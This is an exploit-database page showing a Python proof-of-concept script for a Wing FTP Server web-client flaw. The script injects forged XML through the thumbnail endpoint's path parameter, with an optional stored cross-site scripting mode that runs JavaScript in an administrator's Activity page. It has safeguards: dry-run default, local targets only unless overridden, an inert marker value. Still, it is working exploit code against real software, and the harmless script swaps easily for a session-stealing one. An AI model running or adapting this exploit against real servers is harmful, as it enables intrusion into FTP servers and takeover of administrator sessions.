Exploit database

GH-0bb9b5c8fee1bf6960ee8adce34a6a0c

3jee/cve-2026-120491

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-120491

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
3jee/cve-2026-120491Revision 8ad908033809

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 7,369 bytes
#!/usr/bin/env python3
"""Bounded proof of concept for CVE-2026-120491 (Wing FTP Server)."""

from __future__ import annotations

import argparse
import getpass
import http.cookiejar
import ipaddress
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path


MARKER_RE = re.compile(r"[A-Za-z0-9_]{1,48}\Z")
DEFAULT_MARKER = "CVE_2026_120491"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, request, fp, code, msg, headers, newurl):
        return None


def base_url(value: str, allow_remote: bool) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise ValueError("--base-url must be an absolute HTTP or HTTPS URL")
    if parsed.username or parsed.password or parsed.query or parsed.fragment:
        raise ValueError("--base-url must not contain credentials, a query, or a fragment")
    if not parsed.path.endswith("/"):
        raise ValueError("--base-url must end in / (the web-client root)")
    host = parsed.hostname
    try:
        address = ipaddress.ip_address(host)
        local = address.is_loopback or address.is_private
    except ValueError:
        local = host.lower() == "localhost"
    if not local and not allow_remote:
        raise ValueError("non-local host requires --allow-remote")
    return urllib.parse.urlunsplit(parsed)


def forged_path(mode: str, marker: str) -> str:
    if not MARKER_RE.fullmatch(marker):
        raise ValueError("--marker must contain 1-48 ASCII letters, digits, or underscores")
    if mode == "xml":
        forged_id = marker
    else:
        # The handler only sets an in-page variable. It sends no data elsewhere.
        javascript = "window.__wing009_poc='" + marker + "';this.remove()"
        forged_id = '<img src=x onerror="' + javascript + '">'
    return (
        "]]></directory></connection><connection><id><![CDATA["
        + forged_id
        + "]]></id><directory><![CDATA["
    )


def thumbnail_url(base: str, nowpath: str) -> str:
    query = urllib.parse.urlencode(
        {"filename": "no-such-thumbnail.png", "nowpath": nowpath},
        quote_via=urllib.parse.quote,
    )
    return urllib.parse.urljoin(base, "makethumb.html") + "?" + query


def status_and_length(opener: urllib.request.OpenerDirector, request: urllib.request.Request) -> tuple[int, int]:
    try:
        response = opener.open(request, timeout=15)
    except urllib.error.HTTPError as exc:
        response = exc
    with response:
        body = response.read(256 * 1024)
        return response.status, len(body)


def cookie_from_file(path: Path) -> str:
    cookie = path.read_text(encoding="utf-8").strip()
    if "\n" in cookie or "\r" in cookie or not re.search(r"(?:^|;\s*)UID=", cookie):
        raise ValueError("cookie file must contain a single Cookie header line with UID=")
    return cookie


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base-url", required=True, help="web-client root, ending in /; e.g. http://127.0.0.1:8081/")
    parser.add_argument("--username", help="file-user login; password is prompted securely when --send is used")
    parser.add_argument("--cookie-file", type=Path, help="file containing one existing web-client Cookie header line")
    parser.add_argument("--mode", choices=("xml", "xss"), default="xml", help="inert XML marker or harmless browser marker")
    parser.add_argument("--marker", default=DEFAULT_MARKER)
    parser.add_argument("--hold-seconds", type=int, default=12, help="keep a new web session alive for Activity refresh")
    parser.add_argument("--send", action="store_true", help="send the control and crafted requests")
    parser.add_argument("--allow-remote", action="store_true", help="explicitly allow a non-local target")
    args = parser.parse_args()

    try:
        base = base_url(args.base_url, args.allow_remote)
        payload = forged_path(args.mode, args.marker)
        if not 0 <= args.hold_seconds <= 120:
            raise ValueError("--hold-seconds must be between 0 and 120")
        if args.send and bool(args.username) == bool(args.cookie_file):
            raise ValueError("with --send, supply exactly one of --username or --cookie-file")
        control_url = thumbnail_url(base, "/")
        payload_url = thumbnail_url(base, payload)
        print("Mode:", args.mode)
        print("Control nowpath: /")
        print("Crafted nowpath:", payload)
        print("Encoded request URL:", payload_url)
        if not args.send:
            print("Dry run only. Add --send with --username or --cookie-file to make the requests.")
            return 0

        jar = http.cookiejar.CookieJar()
        opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar), NoRedirect())
        extra_headers = {"Referer": urllib.parse.urljoin(base, "main.html")}
        fresh_login = bool(args.username)
        if args.cookie_file:
            extra_headers["Cookie"] = cookie_from_file(args.cookie_file)
        else:
            password = getpass.getpass("Web-client password: ")
            login_data = urllib.parse.urlencode({"username": args.username, "password": password}).encode()
            login_req = urllib.request.Request(
                urllib.parse.urljoin(base, "loginok.html"),
                data=login_data,
                headers=extra_headers,
                method="POST",
            )
            status, _ = status_and_length(opener, login_req)
            if status != 200 or not any(c.name == "UID" for c in jar):
                raise RuntimeError("web-client login did not establish a UID session")
            print("Web-client login established a session.")

        try:
            for label, url in (("Control", control_url), ("Crafted", payload_url)):
                request = urllib.request.Request(url, headers=extra_headers)
                status, length = status_and_length(opener, request)
                print(f"{label} request: HTTP {status}, {length} response bytes")
            print("HTTP status alone does not establish vulnerability.")
            if args.mode == "xml":
                print("In legacy admin Activity, inspect admin_get_lastconn.html for a second connection ID:", args.marker)
            else:
                print("In the logged-in full administrator's legacy Activity page console, evaluate window.__wing009_poc")
                print("Expected value on vulnerable 8.2.5 after refresh:", args.marker)
            if args.hold_seconds:
                time.sleep(args.hold_seconds)
        finally:
            if fresh_login:
                try:
                    logout_req = urllib.request.Request(urllib.parse.urljoin(base, "logout.html"), headers=extra_headers)
                    status_and_length(opener, logout_req)
                    print("Disposable script session logged out.")
                except Exception as exc:  # Best-effort cleanup; do not hide the original result.
                    print("Logout could not be confirmed:", exc, file=sys.stderr)
        return 0
    except (OSError, ValueError, RuntimeError, urllib.error.URLError) as exc:
        print("Error:", exc, file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())